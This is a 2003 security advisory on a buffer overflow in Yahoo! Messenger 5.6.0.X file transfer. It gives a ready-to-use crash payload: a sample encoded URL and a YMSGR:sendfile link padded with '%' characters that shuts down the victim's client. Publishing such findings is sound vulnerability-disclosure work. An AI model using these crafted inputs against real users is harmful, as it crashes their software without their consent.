Date: Oct 26, 2003 Title: Buffer Overflow in Yahoo messenger Client Vulnerable systems: Yahoo! Messenger version 5.6.0.X Summary: Vulnerability in Yahoo Messenger File Transfer option allows a remote attacker to shut down the victim client. Details: The Yahoo messenger service filters some special characters in YahooID field like (x,&,?).When attacker initiates a file send request to victimID%%%%%%%%%(more than 73 chars), the service filters % chars and prompts "victimID" for an incoming file transfer session.If victim accepts the incoming file, his client will be shut down with access violation error. The access violation accurse in FT.DLL that is responsible for p2p YM file transfers. sample download URL that the attacker client sends to victim machine : http://10.10.10.1:81/Messenger.victimid%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25.1066206307331File.txt?AppID=Messenger&UserID=victimid%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25&K=lc9ly5954h9doeawsg31h9tgta6c7dtod8bqxrt2vykgw5e5j9dao0o9doeawsg31h9t8vey6uq19 6y 14 53 Messenger.vicitimid%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%.1066377306549File.TXT the above url is encoded. Example: Use this link YMSGR:sendfile?[victim_yahooID]+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&c%c:\[somefile] while you are logged into YM(note that the length of victim_yahooID plus %(or ? or &) chars must be more than 73 chars.) It will fire a YM file transfer window.if the victim accepts your file,his client will be closed. Found by: Pejman davarzany pejman@hat-squad.com Hat-Squad Security Research Team (www.hat-squad.com)
